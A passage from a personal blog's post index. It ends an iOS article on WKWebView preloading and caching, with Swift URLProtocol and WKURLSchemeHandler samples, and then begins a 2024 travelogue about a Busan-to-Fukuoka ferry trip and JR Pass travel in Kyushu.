between traffic loss and preloading can be achieved . 🎉 The downside is that maintaining this cache resource list is necessary, and web optimization for page rendering and loading is still required; otherwise, the perceived time for the first page to appear will still be long.URLProtocol ❌Additionally, considering our old friend URLProtocol, all requests based on URL Loading System (URLSession, openURL…) can be intercepted and manipulated.class CustomURLProtocol: URLProtocol { override class func canInit(with request: URLRequest) -> Bool { // Determine if this request should be handled if let url = request.url { return url.scheme == \"custom\" } return false } override class func canonicalRequest(for request: URLRequest) -> URLRequest { // Return the request return request } override func startLoading() { // Handle the request and load data // Change to a caching strategy, read files locally first if let url = request.url { let response = URLResponse(url: url, mimeType: \"text/plain\", expectedContentLength: -1, textEncodingName: nil) self.client?.urlProtocol(self, didReceive: response, cacheStoragePolicy: .notAllowed) let data = \"This is a custom response!\".data(using: .utf8)! self.client?.urlProtocol(self, didLoad: data) self.client?.urlProtocolDidFinishLoading(self) } } override func stopLoading() { // Stop loading data }}// AppDelegate.swift didFinishLaunchingWithOptions:URLProtocol.registerClass(CustomURLProtocol.self)Abstract idea is to secretly send URLRequest -> URLProtocol -> download all resources by yourself in the background, user -> WKWebView -> Request -> URLProtocol -> respond with preloaded resources. Same as mentioned earlier, WKWebView runs on a separate thread outside the main thread of the app, so URLProtocol cannot intercept requests from WKWebView. But I heard that using dark magic seems possible, not recommended, it may lead to other issues (rejection during review). This path is blocked ❌.WKURLSchemeHandler 😕Apple introduced a new method in iOS 11, which seems to compensate for the inability of WKWebView to use URLProtocol. However, this method is similar to AVPlayer’s ResourceLoader, only system-unrecognized schemes will be handed over to our custom WKURLSchemeHandler for processing.The abstract idea remains the same in the background, where WKWebView secretly sends Request -> WKURLSchemeHandler -> download all resources by yourself, user -> WKWebView -> Request -> WKURLSchemeHandler -> respond with preloaded resources.import WebKitclass CustomSchemeHandler: NSObject, WKURLSchemeHandler { func webView(_ webView: WKWebView, start urlSchemeTask: WKURLSchemeTask) { // Custom handling let url = urlSchemeTask.request.url! if url.scheme == \"custom-scheme\" { // Change to caching strategy, read file locally first let response = URLResponse(url: url, mimeType: \"text/html\", expectedContentLength: -1, textEncodingName: nil) urlSchemeTask.didReceive(response) let html = \"<html><body><h1>Hello from custom scheme!</h1></body></html>\" let data = html.data(using: .utf8)! urlSchemeTask.didReceive(data) urlSchemeTask.didFinish() } } func webView(_ webView: WKWebView, stop urlSchemeTask: WKURLSchemeTask) { // Stop }}let webViewConfiguration = WKWebViewConfiguration()webViewConfiguration.setURLSchemeHandler(CustomSchemeHandler(), forURLScheme: \"mycacher\")let customURL = URL(string: \"mycacher://zhgchg.li/campaign/summer\")!webView.load(URLRequest(url: customURL)) Because http/https are schemes that the system can handle, we cannot customize the handling of http/https; you need to switch the scheme to one that the system does not recognize (e.g., mycacher://). All paths in the page must use relative paths to automatically append mycacher:// for our Handler to capture. If you do not want to change http/https but still want to access http/https requests, you can only resort to dark magic, not recommended, as it may lead to other issues (rejection during review). Cache page files and respond by yourself, Ajax, XMLHttpRequest, Fetch requests used in the page may be blocked by CORS Same-Origin Policy (because it will send requests from mycacher:// to http://zhgchg.li/xxx, different origins), requiring a decrease in website security to use. You may need to implement your own Cache Policy, such as when to update? How long is it valid? (similar to what HTTP Cache does). Overall, while theoretically feasible, the implementation requires a huge investment; it is not cost-effective and difficult to scale and maintain stability 😕Feeling that the WKURLSchemeHandler method is more suitable for handling web pages with large resource files that need to be downloaded, declaring a custom scheme to be processed by the app to render the web page cooperatively.Bridging WKWebView network requests to be sent by the app 🫥Change WKWebView to use the interface defined by the app (WkUserScript) instead of Ajax, XMLHttpRequest, Fetch, for the app to request resources. This example is not very helpful because the first screen appears too slow, not the subsequent loading; and this method will cause a deep and strange dependency relationship between Web and App 🫥Starting from Service Worker ❌ Due to security issues, only Apple’s own Safari app supports it, WKWebView does not support it❌.WKWebView Performance Optimization 🫥Optimize to improve the performance of loading views in WKWebView. WKWebView itself is like a skeleton, and the web page is the flesh. After researching, optimizing the skeleton (e.g. reusing WKProcessPool) has limited effect, possibly a difference of 0.0003 -> 0.000015 seconds.Local HTML, Local Resource Files 🫥Similar to the Preload method, but instead of putting the active page in the App Bundle or fetching it remotely at startup. Putting the entire HTML page may also encounter CORS same-origin issues; it feels like using the “Improve HTTP Cache + WKWebView Preload pure resources” method instead; putting it in the App Bundle only increases the App Size, fetching it remotely is WKWebView Preload 🫥Frontend Optimization Approach 🎉🎉🎉Reference wedevs optimization suggestions, the frontend HTML page is expected to have four loading stages, from loading the page file (.html) at the beginning to First Paint (blank page), then to First Contentful Paint (rendering the page skeleton), then to First Meaningful Paint (adding page content), and finally to Time To Interactive (allowing user interaction).Using our page for testing; browsers, WKWebView will first request the page body .html and then load the required resources, while building the screen for the user according to the program instructions. Comparing with the article, it is found that the page stages only go from First Paint (blank) to Time To Interactive (First Contentful Paint only has the Navigation Bar, which should not count much…), missing the intermediate stages of rendering for the user, thus extending the overall waiting time for the user. And currently, only resource files have HTTP Cache settings, not the page body.Additionally, you can refer to Google PageSpeed Insights for optimization suggestions, such as compression, reducing script size, etc. Because the core of in-app WKWebView is still the web page itself; therefore, adjusting from the frontend web page is a very effective way to make a big difference with a small adjustment. 🎉🎉🎉Improving User Experience 🎉🎉🎉 A simple implementation, starting from the user experience, adding a Loading Progress Bar, not just showing a blank page to confuse the user, let them know that the page is loading and where the progress is.🎉🎉🎉ConclusionThe above is some ideation research on feasible solutions for WKWebView preloading and caching. The technology is not the biggest issue, the key is still the choice, which ways are most effective for users with the lowest development cost. Choosing these ways may achieve the goal directly with minor changes; choosing the wrong way will result in a huge investment of resources and may be difficult to maintain and use in the future. There are always more solutions than difficulties, sometimes it’s just a lack of imagination.Maybe there are some legendary combinations that I haven’t thought of, welcome everyone to contribute.ReferencesWKWebView Preload Pure Resource🎉 Solution can refer to the following videoThe author also mentioned the method of WKURLSchemeHandler.The complete Demo Repo in the video is as follows:iOS Old Driver WeeklyThe sharing about WkWebView in the Old Driver Weekly is also worth a look.ChatLong-awaited return to writing long articles related to iOS development.If you have any questions or suggestions, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "Travelogue 2024 Second Visit to Kyushu 9-Day Free and Easy Trip, Entering Japan via Busan→Fukuoka Cruise", "url": "/posts/cb65fd5ab770/", "categories": "Travelogues", "tags": "Life, japan, travel, fukuoka, travel-writing", "date": "2024-06-21 01:17:26 +0800", "snippet": "[Travelogue] 2024 Second Visit to Kyushu 9-Day Free and Easy Trip, Entering Japan via Busan→Fukuoka CruiseBoarding the Shin Arashiyama Camellia Cruise from Busan, South Korea to Fukuoka, Japan, vis...", "content": "[Travelogue] 2024 Second Visit to Kyushu 9-Day Free and Easy Trip, Entering Japan via Busan→Fukuoka CruiseBoarding the Shin Arashiyama Camellia Cruise from Busan, South Korea to Fukuoka, Japan, visiting Yufuin, Oita, Fukuoka, Shimonoseki, Ijima, and Sasebo; a total of 11 daysBackgroundTaking advantage of the brief period between the end of a phase of work tasks and the start of a new job to take a short breather in Japan; resigned on 5/30, departed on 6/3, returned on 6/13, new job started on 6/24, timing worked out perfectly, as it was only during the job transition gap that I could take a relatively longer time off (a total of 11 days); this was a solo trip in disguise, teaming up with James Lin (Ex-Binance Android Developer, any job opportunities are welcome to be referred to him) who I traveled with last year to Tokyo; this is my second visit to Kyushu, having visited Fukuoka, Kumamoto, and Nagasaki’s must-see attractions last September; this time mainly covering the places I didn’t get to visit last time; so the itinerary will be different from James’, going separate ways.**The following are the places visited last time that may not be revisited this time. For those interested in learning more about Kyushu, please refer to my previous travelogue “2023 Kyushu 10-Day Solo Trip”: Fukuoka: Moji Port, Kokura Castle, Kushida Shrine, Sumiyoshi Shrine, Nakasu Yatai, Fukuoka Tower, Pay Pay Dome, Tenjin Shopping Street, Hakata Canal City, Lalaport, Yanagawa River Cruise, Dazaifu Nagasaki: Chinatown, Glover Garden, Inasayama Night View, Atomic Bomb Museum, Peace Park Kumamoto: Kumamoto Castle, Mount Aso, Aso Shrine, Suizenji Jojuen Garden, Tsuruya Department Store, Kamitori Shopping Street, Shimotori Shopping Street, Kato Shrine, Sakuramachi Department Store, Kumamon Square (Chief’s Office)** For more information, please refer to “2023 Kyushu 10-Day Solo Trip”.Lessons Learned from This TripSummarizing the lessons learned from this trip at the beginning, “Traveling freely is a continuous payment of tuition fees (time or money) for learning, the more experience you gain, the fewer pitfalls you will encounter”. At small JR stations without any electronic signs, check the platform announcement board for train arrival times. ⚠️ At some JR stations without station masters, to alight, you need to move to the first car (conductor also acts as station master, similar to alighting from a bus) JR limited express and regular tickets are separate, after purchasing a regular ticket, you need to additionally purchase a limited express ticket to board the limited express; boarding without it will require a fare adjustment. (No need to worry about this with a JR Pass, you can board without hassle) Almost 100% of the time, limited express trains will check tickets, if traveling in unreserved seats, the conductor will ask where you are heading for record-keeping When making an online reservation for JR Pass (requires credit card payment for seat reservation fee), when exchanging the JR Pass, you will need to present the same credit card for verification, so be sure to bring that card to Japan. ⚠️ If booking the Shin Arashiyama Camellia Cruise too late, only economy cabins are available (mixed-gender sleeping for 8-11 people, only communal Japanese bath, lights out at 11 pm) If booking too late for Forest of Yufuin, only regular JR services are available Advance booking is required for rowing at Takachiho Gorge There are two Shinkansen trains that cannot be used with the JR Pass: “Nozomi” and “Mizuho”, separate tickets need to be purchased Sometimes the Shinkansen ticket gates at Hakata Station may get stuck, requiring manual assistance (as the aforementioned two trains cannot be used, as long as you confirm you are not boarding these two, the station staff will let you through) Always double-check your bookings, encountered a gender mix-up when booking the Shin Arashiyama Camellia Cruise, contacted customer service promptly to rectify the error. ⚠️(Later found out that it shouldn’t matter for mixed-gender accommodation, but still gave me a big scare) Kyushu buses may not always be punctual, and Google Maps directions may not always be accurate Japan luggage storage Coin Lockers inquiry, reservation (Not available everywhere, many places that offer luggage storage do not have them) Need an adapter in South Korea Only able to exchange Korean won at the counter In South Korea, you can just purchase a tmoney transportation card, no need for WowpassKKday Promotion [Japan JR PASS Kyushu Railway Pass North Kyushu & South Kyushu & All Kyushu E-Ticket](https://www.kkday.com/en/product/3494-jr-kyushu-rail-pass?cid=19365&ud1=d78e0b15a08a){:target=”_blank”} [Nagasaki, Japan Huis Ten Bosch Ticket](https://www.kkday.com/en/product/3988-japan-nagasaki-huis-ten-bosch-ticket?cid=19365&ud1=d78e0b15a08a){:target=”_blank”} [Fukuoka, Japan Hakata Port - Busan Port Camellia Line Cargo Passenger Ferry](https://www.kkday.com/en/product/138770-cargo-passenger-ferry-new-camellia-fukuoka-hakata-port-busan-port?cid=19365&ud1=d78e0b15a08a){:target=”_blank”} One-stop shopping for Kyushu attractions, tickets, and experiences: “One Day Kumamoto, One Day Takachiho, One Day Aso/Kusasenri, One Day Miyazaki Itinerary, Fukuoka teamLab, Fukuoka Tower, Yanagawa Dazaifu River Cruise Package, Taipei Fukuoka Flight, Flight + Hotel” One-stop shopping for Busan attractions, tickets, and experiences: “Visit Busan Pass, Haeundae Blue Line Park Coastal Train, Sky Capsule Train Ticket, Jeju Air Flight, Busan Sauna, Busan Tower, Songdo Marine Cable Car, Day Tour, Charter”PreparationFunThe main purpose of this trip is to take the Camellia Line Cargo Passenger Ferry from Busan, South Korea to Fukuoka, Japan and visit Yufuin, Oita Beppu, and Miyazaki Prefecture - Takachiho.The pre-trip plan is as follows: (Planned the day before departure, actual order may not follow the plan, didn’t go to Minami Aso as it was too far) 6/3 Arrive at Busan - Gimhae Airport around 19:00, arrive at Busan Station at 20:00, check-in at the hotel, find food nearby 6/4 Haedong Yonggungsa Temple, Haeundae, leave South Korea in the evening, board the Camellia Line Cargo Passenger Ferry 6/5 Arrive in Fukuoka, go to Karatsu, visit Nanatsugama, visit Udo Shrine, Oga Shrine Torii in the sea, return via LalaportActual: Only went to Udo Shrine 6/6 Take JR to Yufuin in the morning, go to Oita in the afternoon 6/7 Oita, Beppu Hell Tour 6/8 Moji, Shimonoseki, Karato MarketActual: Went to Karatsu Castle more 6/9 Minami Aso, Shirakawa Water Source, Kamishikimi Kumanoimasu ShrineActual: Changed to go to Sasebo (Kujukushima Cruise), Takeo Onsen 6/10 Check the missed itinerary on 6/7, Oga Shrine Torii in the sea, Udo Shrine, Lalaport or shoppingActual: Went to Sakurai Futamigaura, Minami Zao-in, Hakata Pilgrimage 6/11 KKday Takachiho Gorge Day Tour, Takachiho Shrine, Takachiho Gorge, Amano Iwato Shrine, Tenkai Riverbed 6/12 Sasebo, Kujukushima, Huis Ten Bosch or baseballActual: Went shopping in Hakata, shopping in Tenjin, watched baseball at PayPay Dome 6/13 Shopping in Fukuoka city, take the 21:00 flight back to TaiwanActual: Went to Lalaport moreThis time, I bought DJB for internet, 2 days 2GB in Korea, unlimited data for 9 days in Japan, total NT$1,250.Takachiho Gorge is extremely difficult to reach from Fukuoka, so I directly signed up for the KKDAY Takachiho Gorge Day Tour, which includes transportation, lunch, and a Chinese tour guide, priced at NT$2,272 per person.Travel✈️ Flights Outbound: China Airlines Taipei Taoyuan TPE 15:55 -> Busan Gimhae International Airport PUS 18:55 Return: China Airlines Fukuoka Airport FUK 21:00 -> Taipei Taoyuan TPE 22:25 Round trip includes checked baggage (23kg/piece)Price: NT$10,480🛳️ Cruise New Camellia Departure: 18:30 Check-in Busan Port International Passenger Terminal Arrival: 07:30 Hakata Port International Passenger TerminalPrice: Economy/2nd class cabin: shared cabin NT$1,450 per person🚅 JR Pass Northern Kyushu Rail Pass (5 Days)Price: NT$3,042 When using the JR Pass in Kyushu this time, you can take the limited express train directly, except for specific reserved seats, all other seats are in the unreserved car (not crowded, seats available).From Yufuin no Mori Hakata to Yufuin was not available, so I could only reserve a seat on Yufu 1.Please note that Yufuin no Mori is different from the regular train (Yufu X), so when making a reservation, make sure it is for Yufuin no Mori.Reservation Method: You must purchase the JR Pass before making a reservation. Since the only option for travel agency selection is KLOOK, and I was afraid that other agencies might not be able to make reservations (the page says that guests who do not have MCO issued by the above travel agencies should not make any selections. It should be fine), I bought the JR Pass from KLOOK.1. Go to JR Pass Reservation Homepage:Scroll down to find “Rail Pass Purchase” -> “Inquiry/Change/Refund”2. Go to JR Pass Reservation Page :Select “Register”Read and agree to the terms, click “Proceed to Next Page”Enter your email for registration, click “Register”.Check your email for the temporary password and click the continue link.1. Select Travel Agency Name: KLOOK Guests who do not have MCO issued by the above travel agencies should not make any selections.2. KRP Reservation Number/MCO NumberEnter KLOOK to view the JR Pass certificate and copy the following certificate number. NameEnter the name on the JR Pass order. According to the instructions, if the voucher is issued by KLOOK, you should enter the first name + last name. So, even though my voucher is written as LI ZXXX CXXX, you should fill in ZXXX CXXX LI here. Please enter the name registered when purchasing the JR Kyushu Rail Pass Online Booking or the name marked on the exchange voucher (eMCO, MCO) issued by the travel agency. For guests using vouchers issued by KLOOK, please enter your name in the order of “first name” and “last name.” Enter the temporary password in the email. Enter the password you want to set for logging in. After setting the password, you can check and reserve train seats on the homepage during the available reservation time (05:30 to 23:00 Japan time); reservations cannot be made outside of this time. Departure date Departure station: Hakata Arrival station: YufuinYufuin no Mori is fully booked, so you can only reserve the regular train Yufu 1, departing at 07:43 and arriving at 10:03.Continue to the next page to select seat preferences, location, and car.Enter the start date of using the rail pass.Enter credit card information to pay the reservation fee (¥1,000 for adults / ¥500 for children per person). The above is the credit card of the purchaser. When collecting tickets at the counter, you must bring and present the credit card used for payment. Therefore, please be sure to bring the credit card to collect the tickets ⚠️Checkout, reservation completed!Accommodation (10 nights, including 1 night on a cruise) [6/3] Toyoko Inn Busan Station No.1 (1 night)Located right outside Busan Station, it’s convenient for going to Busan Port International Passenger Terminal.Price: NT$1,940 for a twin room for two persons [6/4] New Camellia Ferry (1 night)Price: NT$1,450 per person [6/5] Toyoko Inn Hakata Ekimae (1 night)About a 10-minute walk from Hakata Station.Price: NT$2,911 for a twin room for two persons [6/6, 6/7] Toyoko Inn Oita Ekimae (2 nights)About a 10-minute walk from Oita Station.Price: NT$4,389 for a twin room for two persons [6/8, 6/9] APA Hotel Fukuoka-Watanabedori EXCELLENT (2 nights)About a 5-minute walk from Watanabedori Station.Price: NT$9,311 for a twin room for two persons [6/10, 6/11, 6/12] Toyoko Inn Fukuoka Tenjin (3 nights)About a 10-minute walk from Tenjin Minami Station.Price: NT$7,131 for a twin room for two personsTotal: $14,291, averaging $1,400 per night. This time, finally managed to stay under $1,500 per night, thanks to Toyoko INN! _Additionally, Toyoko INN members can enjoy benefits such as early check-in at 3 PM, stay 10 nights and get 1 free night, early booking up to six months in advance, 5% discount, and direct check-in with the card… and more.During my stay at Toyoko INN in Hiroshima, I signed up for membership. Simply inform the front desk during check-in, fill out some information, pay the one-time membership fee of 1,500 Japanese Yen, take a photo on the spot, and you can start using it.For using Naver Map in Korea, you can plan your itinerary and routes in advance for easy access: I find it more user-friendly than Google Maps for travel maps! Can log in directly with LineLet’s Go! Flight Tracker, iPhone Suica usage, Visit Japan pre-entry application… mentioned in previous articles, so no need to elaborate in this one.Visit Japan has now combined entry and customs into one QR code.Day 1 DepartureSimilar to previous trips abroad, when arriving at Taipei Main Station A1 via Airport MRT, I first handle advance check-in to go through immigration directly at the airport. (For flights eligible for advance check-in and regulations, please refer to the official website).Initially planned to take the Orange Line to transfer at Sanchong for Airport MRT, but the other advance check-in station for Airport MRT is at A3 New Taipei Industrial Park Station, not Sanchong Station, and there are no direct trains from Sanchong, so I opted to transfer at Taipei Main Station. As before, I place an Airtag in my luggage for easy tracking.Taoyuan Airport TPE Terminal 1This time, flying to Busan with China Airlines from Terminal 1.Upon arrival at the airport, I exchanged currency for Korean Won at the counter. Most ATMs only dispense Japanese Yen, and the airport exchange rate is unfavorable with an additional NT$100 handling fee, so it’s recommended to exchange currency at a bank in advance if time permits.13:00 DepartureCompleted departure procedures around 13:00.Bought a crispy chicken lunch upon departure from Terminal 1.Previously, the scenic rest area was closed when passing by, but this time it was open for a visit, although quite small.As it was still early, I took the opportunity to rest at the free VIP lounge in Terminal 1, which was not crowded at that time.The fried chicken at the top is marinated and very delicious, but unfortunately this airport doesn’t offer the “Gua Gua Bao”; also found that all the charging outlets here have been removed, only the shells are left, unable to charge.Inside, there are both bathrooms and toilets, not many in number (estimated about five), very clean and high-end, and the cleaning staff cleans them in a very timely manner.Boarding starts at 15:20Boarding is expected to start around 15:20.The BR terminal at the first terminal requires a transfer by shuttle bus to the boarding gate for the flight to Busan, and there aren’t many people on this flight to Busan! As shown in the picture, estimated to be less than 30 people.The flight to Busan operated by China Airlines is on a 737-800 medium-sized aircraft, without entertainment screens, Bye Taiwan!Can only rely on onboard WiFi to access entertainment content, there are quite a few movies! There’s “Rush”! The airplane meal is Three-Cup Chicken Noodles (quite bad), unexpectedly there is a collaboration between China Airlines, Five Tung Blossoms, and Dinotaeng Quokka, and received a short-tailed kangaroo snack.Fill out the entry card, customs declaration card, and pre-apply for the quarantine QR Code, if not applied, you will need to fill out an additional quarantine card.Arrived at Gimhae International Airport in Busan, South Korea at 19:05 PUSThe daytime temperature in South Korea is about 20-25 degrees, it may drop below 20 degrees at night; somewhat like the autumn season in Taiwan.Exiting the airport at 19:20 KKday Busan Pass for Non-KoreansAround 19:20, went through immigration, picked up luggage, and exited the airport.At that time, misunderstood the relationship between wowpass and tmoney, thought there were only two cards that combined; my understanding was that wowpass is a cash card that includes value storage, currency exchange, cash withdrawal, and shopping, while tmoney is a transportation card, and wowpass includes tmoney; actually, you only need to buy tmoney and not wowpass, at that time I didn’t figure it out and kept looking for wowpass instead of tmoney, there are no wowpass machines at Gimhae International Airport. Therefore, I first bought a ticket with cash and took the subway all the way to Busan.From Gimhae Airport to Busan Station, you need to transfer three times on the subway; there weren’t many people getting off, so it wasn’t crowded. If you have a transportation card, you can swipe it directly for entry. The first ticket, Purple Line Busan Gimhae Light Rail, from Airport Station to Sasang Station. Follow the floor signs to the platform. After arriving at Sasang Station on the Purple Line, disembark and move towards the Green Line as indicated. Take Line 2 of the Green Line to Seomyeon Station. Purchase a second ticket to Seomyeon Station. After arriving at Seomyeon Station on the Green Line, disembark and proceed towards the Orange Line platform. Take Line 1 of the Orange Line to Busan Station. Transferring from the Green Line to the Orange Line does not require entering or exiting the platform. I was not sure if I could buy a ticket to Busan Station on the Green Line at that time, as I did not pay attention. Therefore, I couldn’t exit at Busan Station and needed manual assistance to exit.Arrived at Busan Station at 20:20Upon exiting, you will find Dongbang INN Busan Station No. 1 store.Store your luggage and go out to find food. Fortunately, the hotel has 100V Taiwan sockets/USB sockets, so no adapter is needed.Wowpass / TmoneyIn the hotel lobby, there is a Wowpass machine. Scan your passport, follow the instructions, and the machine will dispense a Wowpass+Tmoney combined card. The top part is Wowpass. The chip is Wowpass. Wowpass and Tmoney have separate top-up methods. Wowpass can be topped up through the Wowpass machine, direct top-up in Taiwanese dollars, online credit card top-up, currency exchange, and withdrawal (with a fee). Wowpass has an expiration date, too long without use may result in the loss of funds. The chip part can be used for card payments at merchants. Tmoney can be topped up at convenience stores or subway top-up machines. Currently, you cannot top up Tmoney from Wowpass (officially stated it may be possible in the future). To issue a Wowpass card, you need to top up 5,000 Korean Won, but it seems this step can be skipped, which means a free card issuance? The bottom part is Tmoney, remember to use the bottom part when taking the subway or bus; I failed to use the entire card at first, it seems I was scanning the Wowpass part. Upon receiving the physical card, you can bind it in the Wowpass App. Wowpass App can check the Wowpass balance. Tmoney balance needs to be checked by card sensing (quite special!). As shown in the picture, Wowpass balance is 454 KRW / Tmoney balance is 2,500 KRW.If you want to know the details of Tmoney top-up and deductions, you need to install another app App (BucaCheck): Also, read the content by card sensing. If this travelogue is helpful to you, you can enter my invitation code 373TBH87 when registering on Wowpass.After dinner, go to GS 25 to buy Korean beer and Korean snacks. Kelly is delicious, the one on the right is like spicy strips but not as salty and spicy, suitable for drinking, and the crab-flavored biscuits are average.Rest, end of the busy Day 1.Day 2 Haedong Yonggungsa Temple, Haeundae Beach, take the New Mountain Camellia CruiseHaedong Yonggungsa TempleEarly in the morning, take bus 1001 from Busan Station bus stop to Haedong Yonggungsa Temple; frequent schedules, not many people.The journey is a bit far, about 1 and a half hours. Korean buses are similar to those in Taiwan, and the drivers drive quite aggressively; normally, people get on at the front and get off at the back, but there are also people who get off at the front and get on at the back.The opposite of the drop-off point is Skyline Luge Busan.You can see the sign of Haedong Yonggungsa Temple by walking forward after getting off, turn right and walk up a hill road; the map says it takes 15 minutes to walk, but because it’s a hill road, it probably takes about 30 minutes to walk, or you can take a taxi if you don’t want to walk.You will pass through a shopping street first, and there is also a place nearby similar to a container market where you can take a rest and eat something. When you enter, you can see a row of 12 zodiac representatives, (Dog) Year of the Dog.You can see the colorful and distinctive archway of Haidong Longgong Temple as you continue forward.Be careful as you descend the stairs all the way to the main hall of Haidong Longgong Temple.You can first go to the left observation platform to overlook the entire temple.Enter the Daxiong Hall, where you can buy tiles outside to write your wishes on (10,000 KRW).HaeundaeFrom the Haidong Longgong Temple bus stop, take the 1001 bus back to Haeundae (about 1 hour).On that sunny day, there was a sand sculpture exhibition on the beach. Be careful when going down the stairs. Witnessed a Korean uncle stepping into the air and falling into the sand (fortunately it was the sand).ㄏHaeundae LCT, a landmark in Busan.HAEUNDAE, clear skies.Haeundae Beach has lifeguards, marked swimming areas, and water activities available.Had lunch at a Korean BBQ restaurant near Haeundae, Baegnyeon Sikdang, where the staff grilled the meat for us. Ordered Korean beef sirloin and pork neck, both delicious, along with a stone pot rice dish. Shared between two people.Also ordered Korean beer and soju to enjoy. (Forgot to try the grilled beer). Price 13.0 means 13 * 1000 = 13,000 KRW Various Korean side dishes, including pickled vegetables, kimchi, and raw marinated crab (probably meant to be eaten raw but too fishy for me) Friendly staff and decent English.Next to it is the Haeundae Traditional Market, mainly selling local seafood. Bought an ice cream and walked around, then went to another shop selling ice cream croissants and had a matcha ice cream croissant (crispy outside, soft inside, delicious).After eating, forgot that Haeundae also has a monorail train to ride and you can also visit Haeundae LCT (didn’t check the Busan itinerary carefully at first). Around 14:00, took the 1001 bus back to Busan Station, thinking about where to go next or just explore Busan Station.Back to Busan Station around 15:00, still a long time before the cruise check-in time at 18:30. Upon returning to Busan, I found that there was nowhere to shop at Busan Station (apparently no department stores or shopping streets, attractions, etc.); I was afraid it was too far to go to Gamcheon Culture Village, so I only found out that a few stops down from Busan Station, you can go to Busan Tower, where there are department stores and shopping streets nearby. Originally planned to go to Busan Tower but ended up walking too far from the subway station, so I gave up and returned. KKday Busan | Longtoushan Park Busan Tower Observatory E-Ticket. To go to Busan Tower, you need to get off at Nampodong Station and take exits 1 or 3 to Gwangbok-ro Fashion Street, then take the escalator up to Longtoushan Park. Be sure not to take a detour up the mountain..Bought the famous Korean banana milk to drink.17:00 Head to Busan Port International Passenger TerminalI wandered around near Busan Station until almost five o’clock, then went to the hotel to pick up my luggage and headed to Busan Port International Passenger Terminal.Entering the Busan Station lobby (2nd floor), find exit 10, walk along the sky bridge to reach Busan Port International Passenger Terminal (about 15 minutes walk). Do not walk on the ground-level roads, as there are many large vehicles, which is very dangerous.The Busan Port Bridge during the day.The Busan Port International Passenger Terminal (pier) is empty inside, not many people, because there are very few daily flights; apart from flights to Fukuoka Hakata, there are also cruises to Shimonoseki, Tsushima Island, Osaka, Kumamoto, etc.From the lobby to the 3rd floor for departure, first go to New Camellia to exchange for ferry tickets. (Passport required)Around 17:30, boarding began, the departure hall is quite large; you can actually wander around, buy food to bring on board to eat.Things to note: Fukuoka Port cannot use electronic customs clearance, so be sure to fill out the entry card and customs declaration card⚠️ You can bring food and water, and you don’t need to put them in your luggage because you don’t need to check them in; you can carry your luggage on board. Only handheld drinks are allowed. The entire departure process is very fast, and the security check is just a formality (all items go through X-ray).Departure opens at 18:30.Upon disembarking, the waiting area for the ship is small, with a few duty-free shops and a cafe (the only one selling food). I bought a tuna sandwich to fill my stomach.I went to the duty-free shop and bought some Korean Toms Gilim almond snacks (classic honey flavor, strawberry chocolate coating, tiramisu flavor) as souvenirs.After disembarking, you can line up with your luggage. Everyone lines up with their suitcases, getting ready to board the ship.Probably about 90% of the people are Korean.You can see Busan Port from the window, and when it’s almost time, everyone will return to their luggage to prepare to board the ship.It takes about 15-20 minutes to walk from the pier to board the ship.New Shanshui Tea FlowerRoom 430, go up to the 4th floor to room 430 after boarding.The space is very small, accommodating up to 11 people. This time, it was a family (3 people) + two couples (4 people) + me and my friend (2 people), not fully occupied; It seems that people of the same language and nationality are arranged together (except for one couple from Hong Kong and Macau, the rest are Taiwanese). Small space for each person, very hard pillows, simple mattresses, new sheets, blankets First come, first served, luckily got a slightly larger corner spot There are two outlets (no need for adapters), for charging rotationLuggage settled around 20:00, the ship will depart around 10:30.On the 3rd floor, there is a restaurant, a convenience store, and vending machines (all using Japanese yen), selling slippers, toiletries, and sanitary products; the restaurant does not serve meals, so you can only buy instant noodles from the convenience store or microwaveable food from the vending machines; Therefore, it is recommended to bring food from Busan. Note: Meat products cannot be brought into Japan, any leftovers must be discarded. ⚠️Luckily, I had a sandwich before boarding, so I wasn’t very hungry, just bought some instant noodles to fill up. Note: The hot water is not available in the restaurant area, only cold water; you need to go to the soup room near the stern of the ship to get hot water, it took me a while to find it. Also, be careful when operating the water heater, turn on the switch first, water won’t come out immediately, wait a bit, be careful when using the hot water, make sure to turn it off tightly after use to avoid scalding the next person.After eating, walk around the deck (you can freely enter and exit, be careful of slippery).Around 21:00, another cruise to Kanmon Strait (PUKWAN FERRY) will depart first.Look back at the night view of Busan Port Terminal.Around 22:30, the ship will start to leave Busan Port, passing by Busan Port Bridge. The night view of the bridge is very beautiful (it will be cold, so stay warm).The lights in the economy cabins will be turned off at 11:00. After watching the departure, you can almost go back to lie down. Only the special cabins have individual private bathrooms, others are shared. The bathroom is a public bath like in Japan, you need to be naked, there are small partitions for washing; if you are too shy, you won’t bathe. The facilities are quite old, but well-maintained. There are entertainment rooms, KTV. The public areas will not turn off the lights. The internet connection is available at least until after 11:00 when departing (it is said that there may be a short period without internet). When approaching Tsushima Island, you will enter Japan’s territory and need to switch to a Japanese SIM card. There will be a slight rocking motion while sailing, so if you are prone to seasickness, consider taking seasickness medication.Good night, Busan.Day 3 Hakata, Yutoku Inari ShrineAround 5:30 in the morning, arrive at Hakata, the lights in the cabins are turned on; go to the deck to see the peaceful morning of Hakata Port and Hakata Port Tower.If you have purchased breakfast, you can go to the restaurant to eat. We didn’t, so we slowly freshened up, wandered on the deck, packed up, and prepared to disembark. Disembarkation will start at 07:30, everyone will queue at the exit of the 3F lobby with their luggage.Around 08:00, complete entry into Japan, and leave Hakata Port International Terminal Reminder: Hakata Port does not support electronic customs clearance, so be sure to fill out the entry card and customs declaration card. ⚠️There is a bus to Hakata Station or Tenjin area as soon as you come out. Although it is inconvenient to take a bus with large luggage, because this is the departure station, there will definitely be seats, and most people also bring luggage, so it is less awkward. There are a few people getting on at the intermediate stops, so it’s not crowded. On weekdays in the morning, there are not many people taking the subway back to Hakata, so it’s not awkward (Kyushu is spacious!)Around 9:30, after dropping off luggage at the hotel, have a breakfast of Asa no Kaizoku Teishoku at the Hakata Station department store food street to fill your stomach, pick up the JR Pass, and get the ticket for tomorrow morning to Yufuin.Yutoku Inari Shrine [_Reference itinerary: KKday [Fukuoka Chartered One-Day Tour] Saga Prefecture, Kyushu, Japan Yutoku Inari Shrine, Yanagawa River Cruise, Minami Shimabara Dolphin Watching, Ooarai Shrine’s Torii Gate in the Sea, Takezaki Seafood, Daikousenji Temple Freely choose the attractions you want to visit_](https://www.kkday.com/zh-tw/product/144332?cid=19365&ud1=cb65fd5ab770){:target=”_blank”} Originally planned to go to Karatsu Castle, after checking the JR limited express schedule, going to Yutoku Inari Shrine is faster and closer, plus the fatigue from yesterday, so decided to change the itinerary.From Hakata, take a train to Kashima City - Hizen-Kashima Station.After exiting the station, walk to the left side of the road and wait at bus stop 2 across the street. The instructions 